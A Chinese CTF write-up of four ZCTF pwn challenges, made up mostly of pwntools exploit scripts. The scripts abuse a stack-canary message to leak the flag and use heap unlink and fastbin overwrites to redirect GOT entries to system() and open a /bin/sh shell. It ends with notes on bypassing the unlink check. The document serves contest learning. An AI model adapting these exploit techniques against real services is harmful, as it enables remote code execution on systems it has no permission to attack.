ZCTF-Pwn

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　 最近有了点时间，把ZCTF的pwn总结了下，就差最后一个pwn500，另找时间总结。

文件打包：http://files.cnblogs.com/files/wangaohui/attach.zip

Pwn100

很明显栈溢出，但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf，知道了当__stack_check_fail时，会打印出正在运行中程序的名称，如下：

所以，我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:

 from pwn import *
 #context.log_level = 'debug'
 s = remote('115.28.206.86',22222)
 s.recvuntil('please guess the flag:')
 payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5)
 s.sendline(payload)
 s.recvuntil('***: ')
 flagt = s.recvuntil('\n')[:27]
 flag  = 'ZCTF{'
 for i in flagt:
         flag += chr(ord(i)^ord('A'))
 print flag
 s.close()

Pwn200-note1

 from pwn import *
 #context.log_level = 'debug'
 io = remote('127.0.0.1',10001)
 def new(title, typ, content):
         io.recvuntil('Enter the title:')
         io.sendline(title)
         io.recvuntil('Enter the type:')
         io.sendline(typ)
         io.recvuntil('Enter the content:')
         io.sendline(content)
 def show():
         io.recvuntil('content=')
         io.recvuntil('\n')
         io.recvuntil('title=')
         leak = io.recvuntil(',')
         printfaddr = u64(leak)
         print hex(printfaddr)
 def edit(title, newc):
         io.recvuntil('Input the note title:')
         io.sendline(title)
         io.recvuntil('Enter the new content:')
         io.sendline(newc)
         io.recvuntil('Modify success')
 def delete(title):
         io.recvuntil('Input the note title:')
         io.sendline(title)
         io.recvuntil('Delete success')
 def pwn():
         libcstartoff = 0x21A50
         systemoff = 0x414F0
         io.recvuntil('option--->>')
         io.sendline('')
         new('','aaa','a1a1')
         io.recvuntil('option--->>')
         io.sendline('')
         new('','aaa','a1a1')
         io.recvuntil('option--->>')
         io.sendline('')
         new('','aaa','a1a1')

         payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '' #p64(0x602018)
         io.recvuntil('option--->>')
         io.sendline('')
         edit('', payload)

         io.recvuntil('option--->>')
         io.sendline('')
         io.recvuntil('content=')
         io.recvuntil('\n')
         io.recvuntil('content=')
         io.recvuntil('\n')
         io.recvuntil('content=')
         libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00')
         numlibcstart = u64(libcstart)
         print 'leaked libc_start_main addr is  %x' % numlibcstart
         numsys = numlibcstart - libcstartoff + systemoff

         io.recvuntil('option--->>')
         io.sendline('')
         edit('', 'a'*40+p64(numsys))

         io.recvuntil('option--->>')
         io.sendline('/bin/sh;')
         io.interactive()
 pwn()

Pwn400-note2

 from pwn import *
 import time
 #context.log_level = 'debug'
 def new(s,length,content):
         s.sendline('')
         s.recvuntil('(less than 128)')
         s.sendline(str(length))
         s.recvuntil('Input the note content:')
         s.sendline(content)
 def edit(s,idf,c,content):
         s.sendline('')
         s.recvuntil('Input the id of the note:')
         s.sendline(str(idf))
         s.recvuntil('[1.overwrite/2.append]')
         s.sendline(str(c))
         s.sendline(content)
 def dele(s,idf):
         s.sendline('')
         s.sendline(str(idf))
         s.recvuntil('delete note success!')
 def infoleak(s,idf):
         s.sendline('')
         s.recvuntil('Input the id of the note:')
         s.sendline(str(idf))
         s.recvuntil('Content is ')
         return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
 s= remote('127.0.0.1',10001)
 time.sleep(2)
 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0])
 raw_input('go!')
 s.recvuntil('Input your name:')
 s.sendline('wah')
 s.recvuntil('Input your address:')
 s.sendline('ucas')
 s.recvuntil('option--->>')

 globalptr = 0x602120
 fakefd = globalptr - 0x18
 fakebk = globalptr - 0x10
 content = 'a'*8
 content += p64(0x91)
 content += p64(fakefd)
 content += p64(fakebk)
 new(s,0x80,content)
 s.recvuntil('option--->>')
 new(s,0x0,'a'*8)
 s.recvuntil('option--->>')
 new(s,0x80,'b'*8)
 s.recvuntil('option--->>')
 dele(s,1)
 s.recvuntil('option--->>')

 content = 'b'*0x10
 content += p64(0xa0)
 content += p64(0x90)
 new(s,0x0,content)
 s.recvuntil('option--->>')
 dele(s,2)
 s.recvuntil('option--->>')
 content = 'a'*0x18 + p64(0x602088)
 edit(s,0,1,content)
 s.recvuntil('option--->>')

 atoiaddr = infoleak(s,0)
 s.recvuntil('option--->>')
 print 'atoi address is ' + hex(atoiaddr)
 systemaddr = atoiaddr - 0x36360 + 0x414F0
 print 'system address is ' + hex(systemaddr)
 content = p64(systemaddr)
 edit(s,0,1,content)
 s.recvuntil('option--->>')
 s.sendline('/bin/sh')
 s.interactive()
 s.close()

Pwn300-note3

 from pwn import *
 import time
 #context.log_level = 'debug'
 def new(s,length,content):
         s.sendline('')
         s.recvuntil('(less than 1024)')
         s.sendline(str(length))
         s.recvuntil('Input the note content:')
         s.sendline(content)
 def edit(s,idf,content):
         s.sendline('')
         s.recvuntil('Input the id of the note:')
         s.sendline(str(idf))
         s.recvuntil('Input the new content:')
         s.sendline(content)
 def dele(s,idf):
         s.sendline('')
         s.recvuntil('Input the id of the note:')
         s.sendline(str(idf))
         s.recvuntil('Delete success')
 def infoleak(s,idf):
         s.sendline('')
         s.recvuntil('Input the id of the note:\n')
         s.sendline(str(idf))
         time.sleep(1)
         return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
 s= remote('127.0.0.1',10001)
 time.sleep(2)
 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0])
 raw_input('go!')
 s.recvuntil('option--->>')

 globalptr = 0x6020C8
 fakefd = globalptr - 0x18
 fakebk = globalptr - 0x10
 content = 'a'*8
 content += p64(0x91)
 content += p64(fakefd)
 content += p64(fakebk)
 new(s,0x80,content)
 s.recvuntil('option--->>')
 new(s,0x0,'a'*8)
 s.recvuntil('option--->>')
 new(s,0x80,'b'*8)
 s.recvuntil('option--->>')
 dele(s,1)
 s.recvuntil('option--->>')

 content = 'b'*0x10
 content += p64(0xa0)
 content += p64(0x90)
 new(s,0x0,content)
 s.recvuntil('option--->>')
 dele(s,2)
 s.recvuntil('option--->>')
 content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070)
 edit(s,0,content)
 s.recvuntil('option--->>')
 content = p64(0x400736)[:-1]
 edit(s,0,content)
 s.recvuntil('option--->>')

 putsaddr = infoleak(s,1)
 s.recvuntil('option--->>')
 print 'puts address is ' + hex(putsaddr)
 systemaddr = putsaddr - 0x6B9F0 + 0x414F0
 print 'system address is ' + hex(systemaddr)
 content = p64(systemaddr)
 edit(s,2,content)
 s.recvuntil('option--->>')
 s.sendline('/bin/sh')
 s.interactive()
 s.close()

加深了对堆溢出的理解，linux下free时的unlink操作由于有check,并不能达到任意地址写，为了绕过check，能将变量ptr改为&ptr-0x18(64位系统下)，&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法，就是如果能达到任意地址写的话，可以将某个.got.plt项（记为函数A）修改为puts在.plt的位置，这样在调用A时，就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。